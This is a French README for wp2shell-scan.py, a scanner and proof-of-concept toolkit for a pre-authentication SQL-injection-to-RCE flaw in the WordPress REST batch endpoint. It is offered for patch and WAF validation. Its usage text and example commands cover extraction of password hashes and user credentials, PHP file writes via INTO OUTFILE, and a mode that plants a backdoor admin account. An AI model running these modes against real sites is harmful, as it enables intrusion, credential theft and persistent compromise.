
Un scanner et une boîte à outils de preuve de concept pour CVE-2026-63030 (wp2shell) - exécution de code à distance sans authentification préalable dans le noyau WordPress

--check-type time-based (sonde de temporisation SLEEP) et --check-type error-based (différentiel TRUE/FALSE/cassé). Toutes deux sûres pour des scans de vastes parcs.--i-have-authorization.CVE-2026-63030 (« wp2shell ») est une vulnérabilité d'exécution de code à distance pré-authentifiée dans le noyau WordPress. Un bug de confusion de route / désynchronisation d'index dans le point de terminaison batch de l'API REST (/batch/v1) permet à un attaquant non authentifié d'introduire subrepticement une valeur author_exclude non assainie dans WP_Query, entraînant une injection SQL. Lorsque l'utilisateur de la base de données dispose du privilège FILE, cela conduit à une exécution de code à distance via SELECT ... INTO OUTFILE. Aucun plugin n'est requis. Une installation WordPress standard est affectée.
WordPress a publié des correctifs dans les versions 6.9.5, 7.0.2 et 7.1-beta2. Appliquez les correctifs immédiatement. Si vous avez besoin d'aide pour scanner ou détecter cette vulnérabilité sur votre infrastructure, écrivez à [email protected]. Pour en savoir plus, consultez le blog de fullhunt.io.
| Branche | Vulnérable | Corrigé |
|---|---|---|
| 6.9 | 6.9.0–6.9.4 | 6.9.5 |
| 7.0 | 7.0.0–7.0.1 | 7.0.2 |
| 7.1 | 7.1-beta1 | 7.1-beta2 |
| < 6.9 | Non affecté (point de terminaison batch absent) | — |
Nous avons étudié wp2shell (CVE-2026-63030) depuis sa divulgation publique et avons travaillé avec nos clients à la prévention de cette vulnérabilité. Nous publions en open source un outil ouvert de détection et de scan permettant de découvrir et de valider CVE-2026-63030. Il doit être utilisé par les équipes de sécurité pour scanner leur infrastructure à la recherche de wp2shell et pour vérifier que les règles WAF et les correctifs bloquent effectivement la chaîne d'attaque dans l'environnement de l'organisation.
wp2shell-scan.py est un scanner unique et unifié prenant en charge huit modes :
| Mode | Objectif | Autorisation |
|---|---|---|
check | Détection non destructive. Deux types de vérification : --check-type time-based (sonde de temporisation SLEEP) ou --check-type error-based (différentiel TRUE/FALSE/cassé). | Non |
probe-endpoints | Découvre quels points de terminaison REST transmettent l'injection à WP_Query. | Non |
probe | Comparaison côte à côte des réponses de N charges utiles SQL. | Non |
extract | Extraction par oracle booléen des métadonnées et des hachages de la base de données. | Oui |
blind | Extraction aveugle basée sur le timing (repli lorsque l'oracle booléen n'est pas fiable). | Oui |
exploit | Valide la chaîne complète SQLi → INTO OUTFILE → exécution PHP. | Oui |
adduser | Écrit une porte dérobée mu-plugin qui crée un compte administrateur ; en repli, extraction par oracle booléen des hachages. | Oui |
get-users | Extraction par oracle booléen de tous les identifiants de la table wp_users. | Oui |
Remarque : Les modes marqués « Oui » dans la colonne Autorisation nécessitent le drapeau
--i-have-authorization.
$ python3 wp2shell-scan.py -h
usage: wp2shell-scan.py [-h] [-u URL] [-l USEDLIST] [-p PROXY]
[--check-type {time-based,error-based}] [-k]
[--timeout TIMEOUT] [--sleep SLEEP]
[--endpoint ENDPOINT] [--webroot PATH[,PATH...]]
[--out-name OUT_NAME] [--php-code PHP_CODE]
[--user-login USER_LOGIN] [--user-pass USER_PASS]
[--user-email USER_EMAIL] [--i-have-authorization]
[--sql LABEL:SQL] [--query QUERY] [--dump [KEY ...]]
[--all] [-v]
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
CVE-2026-63030 (wp2shell) scanner: time-based / error-based checks, Boolean and blind extraction, authorized exploit validation.
positional arguments:
{check,probe-endpoints,probe,extract,blind,exploit,adduser,get-users}
Scan mode.
options:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-p PROXY, --proxy PROXY
Send requests through proxy.
--check-type {time-based,error-based}
Detection method for check mode - [Default: time-based].
-k, --insecure Disable TLS certificate verification.
--timeout TIMEOUT HTTP timeout (in seconds) - [Default: 15].
--sleep SLEEP SLEEP seconds for time-based checks and blind mode - [Default: 5].
--endpoint ENDPOINT REST endpoint used for the injection - [Default: /wp/v2/categories].
--webroot PATH[,PATH...]
Server webroot for OUTFILE writes; repeatable - [Default: /var/www/html].
--out-name OUT_NAME Dropped filename - [Default: random].
--php-code PHP_CODE PHP written as the OUTFILE row terminator - [Default: '<?php phpinfo(); ?>'].
--user-login USER_LOGIN
Backdoor username for adduser mode - [Default: wpadmin].
--user-pass USER_PASS
Backdoor password for adduser mode.
--user-email USER_EMAIL
Backdoor email for adduser mode.
--i-have-authorization
Required for exploit, adduser, get-users, extract, and blind modes.
--sql LABEL:SQL probe mode: repeatable label:sql payload pair.
--query QUERY extract/blind mode: custom SQL scalar query to extract.
--dump [KEY ...] extract mode: prebuilt query keys (comma or space separated); empty=user+db+version.
--all extract mode: dump all prebuilt queries.
-v, --verbose
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type time-based
$ python3 wp2shell-scan.py check -u https://wp.lab.local --check-type error-based
$ python3 wp2shell-scan.py check -l urls.txt
$ python3 wp2shell-scan.py probe-endpoints -u https://wp.lab.local
$ python3 wp2shell-scan.py extract -u https://wp.lab.local --i-have-authorization --dump user,database,version
$ python3 wp2shell-scan.py exploit -u https://wp.lab.local --i-have-authorization